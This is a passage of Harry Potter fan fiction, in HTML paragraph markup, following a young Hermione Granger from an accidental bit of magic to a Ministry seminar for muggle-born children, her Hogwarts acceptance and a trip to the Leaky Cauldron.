her approaching from behind.</p>\n<p class="MsoNormal">      <i>Pop!</i> \nSteve shot the bb gun and Hermione saw the small speedy pellet racing\ntowards her, as if in slow motion.  She\nwas about to dodge when suddenly, the projectile stopped, only inches away from\nher, and dropped to the ground.  Hermione\nlooked down in awe.  What had stopped the\npellet?  She felt a hand on her\nshoulder.  It was her mother, who also\nlooked flabbergasted by what had just happened.</p>\n<p class="MsoNormal">      “Come on, let’s\ngo,” she whispered before shouting up at Steve who also looked perplexed,\n“You’d better bet you’re mother will be hearing from me, young man!”</p>\n<p class="MsoNormal">      Hermione climbed\ninto the passenger seat of the car and threw her bag in the back.</p>\n<p class="MsoNormal">      “So you want to\ntell me what that was all about,” Mrs. Granger asked as she started the car.</p>\n<p class="MsoNormal">      “I don’t know; it\njust stopped.  I didn’t do anything,”\nHermione answered earnestly.</p>\n<p class="MsoNormal">      “I don’t mean\nthat,” Mrs. Granger said. “I mean, why was Steve Porkinson firing a bb gun at\nyou?”</p>\n<p class="MsoNormal">      “Oh that!”\nHermione sighed.  “Well…” and she began\nto explain the day’s events to her.</p>\n<p class="MsoNormal">      “I see,” Mrs.\nGranger smiled down at her daughter as they pulled into the driveway of their\ntwo story house. “Well Hermione, I’m proud of you.  You did the right thing and I’m sure Melvin\nappreciates you sticking up for him.”</p>\n<p class="MsoNormal">      “Yeah well he’d\nbe the only one,” Hermione muttered.</p>\n<p class="MsoNormal">      “I know it’s\nrough, Hermione, but being popular isn’t as important as being a good\nperson.  I’m sure you’ll make some really\ngood friends when you get to Landmark next year.  You’ve just grown up a bit faster than other\nkids.  Don’t worry; they’ll catch up to\nyou and then they’ll learn to appreciate your unique personality.”  Mrs. Granger grinned at these last words.</p>\n<p class="MsoNormal">      Hermione, however,\nstill wasn’t smiling. “Yeah; unique personality.  Mom, what about the… well you know.”</p>\n<p class="MsoNormal">      They both took a\nseat on the couch.   Mrs. Granger stopped\nsmiling. “I don’t know.  Hermione, you’re\na unique individual, that’s all I can tell you.”</p>\n<p class="MsoNormal">      “But Mum, it just\ndropped on the ground.  Somehow I know I\nwas the one who did that.  It’s just like\nlast year when I fell off that hill and it was like I floated to the bottom and\ndidn’t get a scratch on me.  What’s\nhappening to me mom?”</p>\n<p class="MsoNormal">      “I don’t know,”\nMrs. Granger said again. “I really don’t know, Hun.  But don’t worry about it.  Everything in this world has a logical\nexplanation.  We’ll figure it out soon\nenough, I promise.  Until then, don’t\nworry about it okay?”</p>\n<p class="MsoNormal">      Hermione nodded\nbut in her mind she was still replaying the scene in her head.</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      Summer went by\nvery slowly and Hermione was glad for it. \nShe spent most of her time either relaxing around the house or walking\ndown to the library.  Fortunately none of\nher classmates lived close by so she never ran into them.  All in all she was glad to have a break from\nworrying about school, though in the back of her mind, she was already\nbeginning to worry about what would happen when she started going to\nLandmark.  Would the students treat her\nthe same?  Would she be happier\nthere?  Would she finally be able to make\na friend, someone who would just accept her for who she was?  These and other questions constantly bombarded\nher mind.</p>\n<p class="MsoNormal">      Her father was of\ncourse utterly pleased that she would be going off to Landmark.  “My little gifted Granger,” he’d say to her\nwhenever the opportunity arose.  Hermione\nwas glad he was happy but he didn’t understand what kind of pressure she had at\nschool, after all when he was at school he had a ton of friends who were almost\nall like him.  Often times some of his\nold schoolmates would come over and Hermione would listen to them as they sat\naround the sitting room reliving old memories or talking about politics and\nworld economics.</p>\n<p class="MsoNormal">      However when\nHermione would complain about how miserable she was at school because most of\nthe students hated her for being so smart he’d just say “You’re not there to\nwin a popularity contest dear, school is for education.  They’ll be plenty of time to make friends\nlater,” or something along those lines. \nHermione hated to admit it but in a way she agreed with him.  What did it matter if she was popular if she\ncomprised herself to do so?  Still, she\ndidn’t necessarily want popularity, just a few good friends but that was\nimpossible with the students at her now former school.  They just didn’t understand her, and never\nreally even tried.</p>\n<p class="MsoNormal">      <i>“Well who care’s about them,” </i>she\nthought to herself one morning as she headed down the stairs to eat breakfast. <i>“I’ll never have to seem them again.  So why am I worrying?”</i></p>\n<p class="MsoNormal">      As she reached\nthe bottom of the stairs, Hermione saw a pile of mail sitting just beneath the\nmail flap of their front door.  She\ngrabbed it on her way to the kitchen.  It\nwas almost 10 AM and her parents of course had left several hours earlier.  She only got to see them in the evenings\nafter work so during the day she had to fend for herself.  Of course, they never worried about her and\nshe hadn’t had a babysitter since she turned eight.</p>\n<p class="MsoNormal">      She sorted\nabsentmindedly through the mail and then threw it on the table before opening\nthe refrigerator and pulling out a jug of orange juice and some cheese.  She laid these items next to the sink and was\nabout open the juice when she noticed a large envelope lying on the counter\nright beside her.  She turned to the\ntable where she had put the mail earlier. \nThe stack was still there.  Where\nhad this stray letter come from?  She\npicked it up to examine it.  The envelope\nwas a thick, coarse parchment.  She read\nthe emerald green ink and realized that it was addressed to her.</p>\n<p class="MsoNormal">      “How odd,” she\nmuttered to herself as she carried the envelope over to the kitchen table,\ncompletely forgetting her breakfast.  She\ndidn’t recognize the handwriting at all, and then she realized the envelope\nwasn’t stamped.  How had it even gotten\nthere without proper postage?  She\nthought perhaps her parents had left it for her, but then it wasn’t either of\ntheir writing and besides, they wouldn’t have bothered with putting the full\naddress on the envelope.  Brimming with\ncuriosity, she opened the envelope and pulled out the first letter.</p>\n<p class="MsoNormal">“Dear Ms. Granger,</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">We are pleased to inform you that your\nmagical prowess is sufficient to allow acceptance into one of the many schools\nof witchcraft and wizardry.  You are on\nyour way to becoming a fully qualified witch. \nAs you are a muggle-born, we expect that this will all be very new and\nexciting to you.  No doubt you have\nalready begun to notice your magical powers becoming more potent over the years.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Please find enclosed an invitation to\nthe Annual New Witches and Wizards Summer Seminar along with brochures to\nseveral prominent schools.  Please make\nplans to attend the session before deciding on a school as many questions will\nbe answered there.  We hope you look\nforward to starting your education in the magical arts.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sincerely,</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ernestina Godwright</p>\n<p class="MsoNormal">Department of Magical Assessment;\nMinistry of Magic”</p>\n<p class="MsoNormal">      Hermione was\nflabbergasted.  She turned the letter\nover to see if it was kind of joke.  She\nlooked out the window to see if someone had somehow slipped it inside without\nher looking.  But who would do something\nlike that?  Perhaps one of her former schoolmates\ndecided this would be a fun prank to get her back for how she ruined the end of\nterm practical joke.  She reached inside\nthe envelope and pulled out several small brochures and another letter.  Hermione let out an audible gasp as her eyes\nfell on the first of the colorful brochures. \nThe pictures were animated.  All\nthe people in them were moving, walking around, or waiving up at her.</p>\n<p class="MsoNormal">      Her eyes flicked\nto the top of the brochure where gold letters spelled “Hogwarts School of Witch\nCraft and Wizardry: One Thousand Years of Wizarding Excellence.” The pictures showed\nchildren her age in long black robes doing all manner of things from stirring\nodd looking liquids in large caldrons to flying through the air on broomsticks.</p>\n<p class="MsoNormal">      Hermione almost\nfell into one of the chairs at the kitchen table as she flipped through the\nbrochure in her hand.  This couldn’t be a\npractical joke.  It was too real.  Hermione’s thoughts floated back to the last\nday of school, when the bb gun pellet suddenly stopped right in front of her\nand dropped to the ground just like… magic.</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      “Hermione what\nare you talking about?” Mr. Granger asked as he and his wife tried to settle in\nfor the evening after returning home from work. \nHermione had launched into an explanation about the letter and brochures\nthe moment they hit the door.</p>\n<p class="MsoNormal">      Hermione shoved\nthe letter in his face. “Here read; see for yourself.”</p>\n<p class="MsoNormal">      Mr. Granger took\nthe letter from her and adjusted his eyes to the small emerald green writing.\n“Oh Hermione,” he said after skimming it. “I’m in no mood for jokes.  I’ve had a long day.” He absentmindedly\nhanded the letter to his wife.</p>\n<p class="MsoNormal">      “Dad!  Hello!” Hermione said heatedly, stepping in\nhis path. “This is your daughter you’re talking to?  I wouldn’t make something like this up.”</p>\n<p class="MsoNormal">      Mrs. Granger put\nher hand over her mouth in shock.  She\nhad just finished reading the letter. “Did you read this?”</p>\n<p class="MsoNormal">      “It’s some sort\nof gag; they’re trying to sell something,” Mr. Granger said dismissively.</p>\n<p class="MsoNormal">      “No it’s not;\nlook,” Hermione shoved the Hogwarts’ brochure in his face.</p>\n<p class="MsoNormal">      His eyes widened.\n“What in the…” he took the pamphlet timidly.</p>\n<p class="MsoNormal">      “See!” Hermione\nsaid.  She handed another to her mother\nwho was still trying to recover from the letter.  They both seemed to automatically steer\nthemselves to the couch as they examined the animated brochures.</p>\n<p class="MsoNormal">      “I… I don’t\nunderstand.” Mr. Granger said finally. “How can this be?”</p>\n<p class="MsoNormal">      Hermione took a\nseat between her parents. “Magic,” she answered simply. “It’s magic and I’m a\nwitch.”</p>\n<p class="MsoNormal">      “That’s not\npossible.  There’s no such thing,” Mr.\nGranger admonished.</p>\n<p class="MsoNormal">      “Don’t deny with\nyour mouth what you see with your eyes,” Mrs. Granger told him. “If this isn’t\nproof then think about all of the things that have happened to Hermione over\nthe years.  What about the time she fell\nin the lake when she was three.  She\nshould have drowned after being down there for 20 whole minutes but she climbed\nout and just grinned at us like it was all a game.  Don’t forget the time when she was hit by\nthat car on Jefferson Ave; not a scratch on her.  Our child had more fatal accidents then we\ncould count when she was young.”</p>\n<p class="MsoNormal">      Mr. Granger\ngulped. “Okay, you’re right.  We can’t\ndeny it and Hermione’s smart as a whip I’ll give you that.  Maybe it isn’t just genes.  But still, sending her off to,” he pointed at\nthe brochure, “some no name school to study magic.  It still sounds a bit far fetched.  What gain can there be to that?  She’s got to get a real education.”</p>\n<p class="MsoNormal">      “What if this is\nbetter than Landmark?” Hermione said with a plea in her voice. “I mean if I do\nhave powers, I should learn what they are and how to use them, shouldn’t\nI?  Besides, maybe this is why I didn’t\nfit in at my old school.  Maybe this is\nthe reason why I’ve always felt so out of place.  Maybe if I go to a school like Hogwarts I’ll\nbe happier.”</p>\n<p class="MsoNormal">      Mr.\nGranger shifted uncomfortably. “I don’t know…”</p>\n<p class="MsoNormal">      Mrs. Granger\nreached over her daughter to put a hand on her husbands arm. “Dear, we should\nat least go learn more about it.”</p>\n<p class="MsoNormal">      He nodded. “I\nsuppose.  It’s good to consider all\noptions.”</p>\n<p class="MsoNormal">      Mrs. Granger\ngrinned. “Now that’s the rational man I married.”  She looked down at her daughter. “Now how do\nwe get to this ‘Annual New Witches and Wizards Summer Seminar?”</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      The invitation to\nthe Annual New Witches and Wizards Summer Seminar did not have directions to\nthe event’s location.  It did however\nhave a date and time:  July 14 starting\nat 11 AM.  Three tickets were enclosed\nalong with instructions telling them to make sure they each had their ticket by\n10:50 AM and that they would be picked up at 10:55 to be taken to the session.</p>\n<p class="MsoNormal">      “It must be\nnearby if they only need 5 minutes to take us there,” Mr. Granger said as they\nall prepared to leave that morning.</p>\n<p class="MsoNormal">      Hermione examined\nher small read ticket. “Something tells me that these tickets are more than\nthey seem.  Just make sure you guys have\nthem on you, or I think you might be left behind.”</p>\n<p class="MsoNormal">      Mrs. Granger\nnodded, “I had that same feeling myself?”</p>\n<p class="MsoNormal">      They all sat down\non the sitting room couch half expecting the doorbell to ring and half\nexpecting a magic carpet to appear at their window.  Neither happened.  At exactly 10:55 AM they were suddenly and\nunexpectedly whisked away.</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      “That was\namazing!” Hermione said as she picked herself off the ground.  Her parents had also been knocked to the\nfloor.  She quickly assessed her\nsurroundings and realized they were in the lobby of a large elegant hotel.  They had landed right at the front desk.  A tall man in a red robe was behind the\ncounter.</p>\n<p class="MsoNormal">      He smiled at\nthem. “Welcome to the Celestina Hotel.”</p>\n<p class="MsoNormal">      Mr. Granger had\nrecovered from his undignified landing. “Where are we?”</p>\n<p class="MsoNormal">      “The Celestina Hotel\nin downtown London,” the man repeated himself.</p>\n<p class="MsoNormal">      “Celestina Hotel?\nI’ve never heard of it,” Mr. Granger mused.</p>\n<p class="MsoNormal">      He smiled again.\n“No, I don’t suppose you have.  I take it\nyou’re here for the Ministry’s annual new witch and wizard seminar?”</p>\n<p class="MsoNormal">      Hermione showed\nhim the invitation excitedly. “Yes we are.”</p>\n<p class="MsoNormal">       “Well Ms. Granger, we’re glad to have you\nhere.  It’s always nice to see the birth\nof a new witch or wizard, especially one from muggle decent.”</p>\n<p class="MsoNormal">      “There’s that\nword again,” Hermione said in frustration. “What does it mean?”</p>\n<p class="MsoNormal">      He grinned.\n“You’ll find out soon enough.  This\nconference is just for new wizards and witches like you who don’t know anything\nabout our world.  By the time 6 o’clock\ncomes you’ll have a whole new understanding of things.” He pointed behind her.\n“The conference is right behind those doors.”</p>\n<p class="MsoNormal">      Hermione whirled\naround and saw a set of purple double doors. \nHer excitement was mounting.  She tried\nto keep herself from racing to the door.</p>\n<p class="MsoNormal">      Mrs. Granger was\nsmoothing down her dress. “Are you ready, dear?” she asked her daughter.</p>\n<p class="MsoNormal">      Hermione nodded\nfervently.</p>\n<p class="MsoNormal">      Mr. Granger started\nfor the door. “Let’s go then.”</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      The conference\nturned out to be very well organized and focused on all the questions they\ncould possibly have.  It was perfect for\nsomeone like Mr. Granger who was prone to interrupting with thoughts, opinions,\nor questions of his own.  They welcomed\nall comments and usually answered his questions before he had a chance to ask\nthem.  Hermione counted approximately 30\nfamilies in the conference.  All of the\nkids were about her age, ten or eleven, and were from muggle families which she\nlearned referred to non-magical people. \nApparently it wasn’t completely unusual for a child to be born with\nmagic even if it wasn’t anywhere in their bloodline.  She was glad that everyone else in the\nconference was in the same boat.</p>\n<p class="MsoNormal">      The first session\nwas called “How Do I know My Child is a Witch or Wizard?”  This happened to be the first question on\nboth Mr. and Mrs. Granger’s agenda. \nThough they admitted their daughter was unique, they wanted more\ndiscernable proof that she was magical.</p>\n<p class="MsoNormal">      “My name is\nOllivander,” said the aged man who stepped in front of the podium. “I am a\nmaker of wands in Diagon Alley and I hope to see some of you in my shop when it\ncomes time to buy school supplies.” He cleared his throat as he held out a long\nthick black rod.  Hermione wondered if\nthis was a wand. </p>\n<p class="MsoNormal">      “This is a\nrealizer,” Mr. Ollivander explained. “It is a special device used to bring out\nthe true nature of a witch or wizard’s power for a brief period of time,\nusually a minute.  It only really works\nfor undeveloped witches and wizards who only have raw power.  For those of you who need a little more proof\nthat your children have magical blood, this should be all you need.  You there,” he pointed to one of the parents\nin the audience. “Come up here and take a hold of the realizer.” </p>\n<p class="MsoNormal">      The man shot out\nof his seat obediently and walked up to the stage.  He took the realizer from Ollivander. “I\ndon’t feel anything,” he said.</p>\n<p class="MsoNormal">      “Exactly,” said\nOllivander snatching the realizer from him. “And so you shouldn’t.  Is that your daughter down there?  Come up here young lady and take the\nrealizer.” </p>\n<p class="MsoNormal">      A young\nred-headed girl clamored up to the stage. \nShe timidly reached out her hand and took the realizer.  It immediately began to glow bright green and\nbefore she knew what was happening a blast of wind knocked everyone in the room\nout of their seats.  Her father and\nOllivander were also pushed to the ground.</p>\n<p class="MsoNormal">      “Woah,” Hermione\nsaid as she crawled back into her seat.</p>\n<p class="MsoNormal">       “I trust that you can see the true potential\nof your daughter now, sir.” Ollivander said to the red-head’s father as he\ndusted himself off. “Would anyone else like to try?”</p>\n<p class="MsoNormal">      There was an\nimmediate rush for the stage as every potential witch and wizard pushed their\nway to be first to touch the realizer. \nAs Hermione waited patiently in line she wondered what would happen when\nshe touched it.  The realizer seemed to\ndo something different with each child. \nOne boy started floating, another young girl caused the room to fill\nwith orchestra music, and one even turned everyone in the room a vivid shade of\nblue.  Ollivander had to pull out his own\nwand to reverse this strange affect.</p>\n<p class="MsoNormal">      Finally it was\nHermione’s turn.  She stepped timidly up\non the stage and took the long rod that Ollivander offered her.  She felt a tingly feeling all over her body\nbut when she looked around nothing seemed to have happened.  Hermione began to panic.  What did this mean; was she not really a\nwitch?</p>\n<p class="MsoNormal">      “I don’t\nunderstand…” she started sheepishly.  She\nsaw her mom clap her hand over her mouth in shock. “What?  What is it Mum?  What’s wrong?”</p>\n<p class="MsoNormal">      Mrs. Granger\nstood and stepped up to the stage. “Hermione, can’t you hear yourself?  You’re speaking fluent Spanish.”</p>\n<p class="MsoNormal">      “I am?” Hermione\nlistened to her own voice and finally realized the words she thought she was\nsaying weren’t the words that were coming out. \nShe turned to her father. “Isn’t this the most amazing thing,” but now\nhe was looking at her like she was an alien.</p>\n<p class="MsoNormal">      “You’re… speaking\nJapanese now, dear.” Her father said breathlessly.</p>\n<p class="MsoNormal">      Hermione let the\nrealizer fall to the floor. “Well,” she said in English finally, “I guess I\nreally am a witch.”</p>\n<p class="MsoNormal">      Both of her\nparents nodded numbly in agreement.</p>\n<p class="MsoNormal">      The next session\nanswered another one of Mr. Granger’s main questions.  It was titled “What are the Benefits of\nWizard Schooling?”  Two people, a fully\nqualified witch and wizard from the Ministry of Magic headed this.  They learned all about the various courses\nthey could take in wizard’s school from Astronomy to Defense Against the Dark\nArts.  There were literally thousands of\njobs that a fully trained witch or wizard could have, even in the muggle world.  Hermione was especially interested in becoming\na doctor of magical ailments, a researcher of new charms and magical devices, a\nmagic detective or even just a professor. \nSo many of the magical job fields interested her and she could tell they\nintrigued her father as well.</p>\n<p class="MsoNormal">      The third session\nwas “An Introduction to the Wizarding World.” \nIt focused primarily on wizarding terms they needed to know like “muggle”,\nthe different types of wizarding money, and quidditch, a type of wizard’s\nsport.  They talked about different types\nof magic such as charms, jinxes, potions, and divination.  They learned about wizard communication, the\nprimary one being “owl post,” a method of mail that used highly intelligent\nowls to send letters back and forth. \nHermione learned that this was how she got her letter, though she didn’t\nremember seeing an owl.  </p>\n<p class="MsoNormal">      Then they\nreceived a map of Britain that marked all of the magical places and how to\naccess them.  Hermione noticed that the\nCelestina Hotel was one of the spots indicated on the map which explained why\nthey’d never heard of it.  The wizard who\nwas conducting this section was careful to give them detailed instructions of\nhow to reach a spot known as Diagon Alley which was basically like a large\nwizard’s shopping mall and the best place to go in Britain to prepare for the\nupcoming school year.</p>\n<p class="MsoNormal">      “So are there any\nadditional questions?” the wizard asked the group as this final session came to\na close.</p>\n<p class="MsoNormal">      Hermione’s hand\nshot up. “Excuse me, but what about the different wizarding schools.  No one has really talked about them.  There are a lot to choose from.”</p>\n<p class="MsoNormal">      “Yes there are\nmany, my dear,” the wizard agreed. “However, we like to let our young witches\nand wizards and their families decide on the best school for them.  The Ministry of Magic does not want to\nendorse one school over another.  However,\nthere is still an hour before our seminar is done.  During the dinner that follows this session,\nfeel free to talk to any of the older witches and wizards here and get their\npersonal opinion.  I’m sure they’ll be\nmore than happy to give it to you.  There\nare scrolls for most of the major schools in Europe in the lobby.  To apply, simply write your name on the\nappropriate scroll and the school will send you a response as soon as possible.  Please fill free to sign up for multiple\nschools.  Children in wizarding families\nare automatically applied to most of their nearby schools but because you’re\nfrom muggle families you have the opportunity to pick and choose so take\nadvantage of it.”</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      The conference\ndinner was phenomenal.  Hermione had\nnever seen so much food in her entire life, and it seemed to just appear from\nnowhere as they sat down at the tables in the dinning hall.  After she had had her fill of the delicious\nfood, Hermione made her way around to other tables where she talked to some of\nthe ministry wizards.  Most of them\ntalked favorably of Hogwarts School of Witchcraft and Wizardry.   This was the school she was the most\ninterested in.  It seemed to have a very\nrich history and she was intrigued by the house structure.  All of the students were divided into four\nschool houses, named after the four founders of the school.  Also she learned that the school was headed\nby Albus Dumbledore, one of the greatest wizards of the modern era and well\nrespected by everyone it seemed.  This\ndefinitely sounded like the school for her.</p>\n<p class="MsoNormal">      She checked the\ntime, only 10 minutes left before the conference was over.  She made her way to the lobby where several\nscrolls were lined out on a table.  She\nfound the one for Hogwarts and signed her name on it.  She looked around at the other scrolls,\ndebating whether or not to sign up for others even if she wasn’t particularly\ninterested.</p>\n<p class="MsoNormal">      Another girl came\nup beside her.  Hermione recognized her\nas the same red-headed girl who was first to try to realizer. “Hi, what schools\nare you signing up for?”</p>\n<p class="MsoNormal">      “Oh, uh… just Hogwarts\nnow. I was thinking about whether or not I wanted to sign up for any others but\nI’m really not interested in any others. \nYou know, Hogwarts just seems like the best school and I want to go to\nthe best.  I mean if I’m going to be a\nwitch then I should at least learn as much as I can.  Of course the idea of living away from home\nto go to school is a bit disconcerting but if I want to go I have to make that\nsacrifice.”</p>\n<p class="MsoNormal">      Hermione realized\nall too late that she was rambling. \nWhenever she got around people she didn’t know, she became nervous and\nwhenever she became nervous, she started rambling, usually about random\nuninteresting facts or topics that made her sound like more of a know-it-all\nthan she already was.  It was trademark\nof her personality and it usually turned people off.</p>\n<p class="MsoNormal">      This girl didn’t\nseem to be at all bothered by it though. “Wow, I think it’s really amazing that\nyou have that much confidence to only sign up for one school.  I don’t think I could be nearly as brave as\nyou but you seem really smart anyway.  I\nbet you’ll definitely get into Hogwarts. \nI’m going to apply too I think, but I’m going to sign up for some other\nschools as well.  It’s mostly because I\ndon’t want to get rejected from one and not have a fallback but also because\nI’m not sure where I want to go.  I mean\nyou’re right, Hogwarts sounds like a great school but I was thinking about one\ncloser to where I lived and a little smaller. \nI definitely think a smaller school would be better for me, but I’m not\nsure, you know.  I’ve always been in a\nsmall school and I think I’m just used to it. \nMy name’s Anne Pennygale by the way. \nSorry if I’m talking your ear off. \nI just get nervous when I meet new people and then I start rambling.”</p>\n<p class="MsoNormal">      Hermione beamed.\n“Oh it’s okay, I know exactly how you feel. \nMy name’s Hermione Granger.”</p>\n<p class="MsoNormal">      “Hi,” Anne said\nagain. “Maybe we’ll end up in the same school together.  That would be so neat.” </p>\n<p class="MsoNormal">      Hermione let out\na giggle as Anne started signing her name to various scrolls.  No one had ever told her it would be “neat”\nto be in the same school with her. \n“Yeah, that would be great.  I\ndon’t have that many friends where I’m from.” \n<i>“More like no friends,”</i> she\nthought to herself.</p>\n<p class="MsoNormal">      “Oh I can’t\nbelieve that, you seem so smart and interesting.  When you were up there speaking all those\ndifferent languages when you had the realizer, the wizard next to me said that\nwas a sign of very high potential and aptitude or something like that.  You’re probably going to be a really powerful\nwitch when you grow up.  Hey I have an\nidea,” she said as she straightened up after signing the last of her chosen\nscrolls. “Why don’t we exchange addresses? \nThat way we can write to each other just in case I don’t get into\nHogwarts with you.”</p>\n<p class="MsoNormal">      Hermione nodded\nreadily. “That would be great!” she shoved her hands in her pocket. “I don’t\nhave any paper.” She looked at the scrolls, “I don’t suppose it’d be a good\nidea to tear a spare bit off these.”</p>\n<p class="MsoNormal">      “No probably\nnot,” Anne agreed, “Hold on; I’ll go grab a bit from my folks.” She ran off\ntowards the dining hall.</p>\n<p class="MsoNormal">      Hermione’s\nparents came up behind her. “It’s almost time to go dear.  Who was that spirited young girl,” Mrs.\nGranger asked.</p>\n<p class="MsoNormal">      “That’s Anne;\nshe’s my new friend… I think.”</p>\n<p class="MsoNormal">      “Well that’s\ngreat!  Making friends already?” Mrs.\nGranger said.</p>\n<p class="MsoNormal">      “I was a little\nleery of this whole thing,” Mr. Granger admitted. “But now I can see the\nbenefits of a wizarding education.  These\nwizard chaps are very logical and organized. \nYou’d do well to learn from them Hermione.  You’ve got a rare gift and I want to make\nsure you use it to your full potential. \nLandmark is a good school, but you’re going to need a special type of\neducation.”</p>\n<p class="MsoNormal">      Hermione smiled\nto herself.  She knew it would be easy to\nconvince her father to let her go to Hogwarts. \nAll she needed to tell him was that it was run by one of the most\nprestigious wizards in the world and he would be onboard.  It wouldn’t matter even if the school was in\nAustralia.</p>\n<p class="MsoNormal">      “So are you ready\nto go dear?” Mrs. Granger asked. “We were going to ask one of the wizards how\nwe get back home.”</p>\n<p class="MsoNormal">      “Well I want to\nwait for Anne to come back.  We were\ngoing to exchange addresses.  Do you have\na bit of paper with you?”</p>\n<p class="MsoNormal">      Mrs. Granger\nreached in her purse but at that moment the clock on the wall chimed.  It was 6 PM. \nBefore they knew what happened, they were being whisked away again.  A few seconds later they were back on their\ncouch in their sitting room.</p>\n<p class="MsoNormal">      Mr. Granger shook\nhis head. “I’m never going to get used to that.”</p>\n<p class="MsoNormal">      Hermione frowned\nas she pulled the ticket out of her pocket. \nIt must have been the cause of their instant transport.  She really wanted to exchange addresses with\nAnne.  She was the first person that\nshe’d ever met that she really got along with. \nShe hoped she and Anne would be in the same school.  She wondered if it really was a good idea to\nonly apply to Hogwarts.  Only time would\ntell.</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      “Hermione, I\nbelieve this letter is for you,” Mrs. Granger called from the kitchen when she\nheard her daughter descending the stairs.</p>\n<p class="MsoNormal">      “Letter?”\nHermione repeated. “But it’s Sunday, there’s no post.”</p>\n<p class="MsoNormal">      Hermione walked\ninto the kitchen and saw a large barn owl sitting on the kitchen counter, near\nthe window.  Apparently owl post did run\non Sunday.  Mrs. Granger was giving the\nowl furtive looks as if she didn’t know whether or not it was appropriate to\ntake a letter from an owl that wasn’t addressed to her.  So Hermione rushed forward and took the\nenvelope from the owl’s beak.  It hooted\nhappily, obviously glad to be relieved of its burden.</p>\n<p class="MsoNormal">      “Can I get you\nsomething before you leave?” Hermione asked the owl cordially.  The owl hooted excitedly.</p>\n<p class="MsoNormal">      “Here,” Mrs.\nGranger handed her daughter a piece of toast.</p>\n<p class="MsoNormal">      Hermione tore a\nbit off and gave it to the owl who accepted it with an appreciative hoot before\ntaking off out the window.</p>\n<p class="MsoNormal">      “Friendly mail\ncarriers those owls,” Mrs. Granger commented casually as Hermione sat down at\nthe kitchen table. “Wish our postman was nearly as nice.”</p>\n<p class="MsoNormal">      “Uh huh.”\nHermione was busy examining the envelope. \nShe knew instinctively where it was from, Hogwarts.  It had been a little more than two weeks\nsince the New Witches and Wizards Summer Session.  This must have been the answer she was waiting\nfor.</p>\n<p class="MsoNormal">      She opened the\nenvelope tentatively and removed one of the pieces of parchment from inside.</p>\n<p class="MsoNormal">      Mrs. Granger\nfinally noticed what she was reading and came up behind her daughter, curious\nfor the verdict. “Well…” she asked finally.</p>\n<p class="MsoNormal">      Hermione’s face\nwas white with shock. “Here, see for yourself,” she handed the letter up to her\nmom.</p>\n<p class="MsoNormal">      Mrs. Granger\nstarted reading allowed, “Dear Ms. Granger, we are pleased to inform you that\nyou’ve been accepted into Hogwarts School of Witchcraft and Wizardry….” her\nvoice trailed off. “You got in!” she said excitedly.  </p>\n<p class="MsoNormal">      Hermione jumped\nout of her chair in excitement. “That’s right!”</p>\n<p class="MsoNormal">      “What’s all the\nhubbub?” Mr. Granger entered the room now in a green house robe.</p>\n<p class="MsoNormal">      “Hermione made it\ninto Hogwarts!” Mrs. Granger answered excitedly</p>\n<p class="MsoNormal">      “As if we had any\ndoubt.” Mr. Granger said hugging his daughter proudly. “She’s a Granger and\nGrangers can do anything!”</p>\n<p class="MsoNormal">      “So you’re not\nmad then that it’s so far away,” Hermione asked timidly.</p>\n<p class="MsoNormal">      “Not at all,” her\nfather said jovially. “If it’s the best school for your wizarding education\nthen that’s where you’ll be going.  No\nquestions asked.  In fact,” he said with\na rare twinkle in his eyes. “I’ve already called Landmark and told them you\nwon’t be attending next year.”</p>\n<p class="MsoNormal">      “Really?  Thanks dad!” Hermione said hugging him again.</p>\n<p class="MsoNormal">      “You can thank me\nby doing your best.  I want to hear that\nyou’re studying hard and becoming the best witch you can be.  This will be the first time you’ve been away\nfrom home to go to school.  I trust\nyou’ll be the mature young lady we raised you to be and that you’ll stay\nfocused.”</p>\n<p class="MsoNormal">      “I will, dad,”\nHermione promised sincerely.</p>\n<p class="MsoNormal">      Mrs. Granger was\nreading the second sheet of parchment in the envelope now. “Oh… we’re going to\nhave a time finding these school supplies.”</p>\n<p class="MsoNormal">-----</p>\n<p class="MsoNormal">      The Grangers\ndecided to go into London the next weekend to get Hermione’s school\nsupplies.  They took the train in instead\nof driving, since they didn’t know exactly where they would be going.  Hermione made sure to bring along the\nwizard’s map of London which turned out to be very helpful as it kept pointing\nout the correct directions to go.  It\ntold them to take the underground to the Tottenham Court Rd. station.  Then from here it was a short walk down\nCharing Cross Road to reach the entrance to Diagon Alley which the map called\nthe Leaky Cauldron.  Hermione walked down\nthe street, her parents in tow, studying the map closely.  She stopped suddenly and looked up.  </p>\n<p class="MsoNormal">      “Ah, we’re\nhere.”  She pointed to a shabby looking building.</p>\n<p class="MsoNormal">      Mrs. Granger gave\nher daughter a puzzled look. “Hermione, there’s nothing here but a boarded up\nold building.”</p>\n<p class="MsoNormal">      “You don’t see\nthe sign?” Hermione asked them. “It says ‘Leaky Caldron.’”  Both adults shook their heads.</p>\n<p class="MsoNormal">      “Hmm,” Hermione\nlooked down at the map again.  Another\ncaption had appeared above the dot that symbolized the Leaky Caldron.</p>\n<p class="MsoNormal">      It read: “Those with\nmuggle guests should note that the Leaky Caldron is not completely muggle-proof\nto allow limited access for muggle friends and family of wizards to gain access\nto Diagon Alley.  Muggles need only to be\ntouching a witch, wizard, or other creature of magic to be able to see the\nentrance.”</p>\n<p class="MsoNormal">      Hermione folded\nthe map again and shoved it in her bag. “Here, take my hands, both of you.”</p>\n<p class="MsoNormal">      Her parents\ncomplied.  Mrs. Granger gasped.  Mr. Granger gave a snorting noise. “I think I\nliked the boarded up building better. \nHermione are you sure this is the place? \nIt’s just a pub.”</p>\n<p class="MsoNormal">      “I’m positive.”\nshe confirmed as she dragged them into the Leaky Caldron. </p>\n<p class="MsoNormal">      The pub seemed\nalmost completely deserted.  T'),
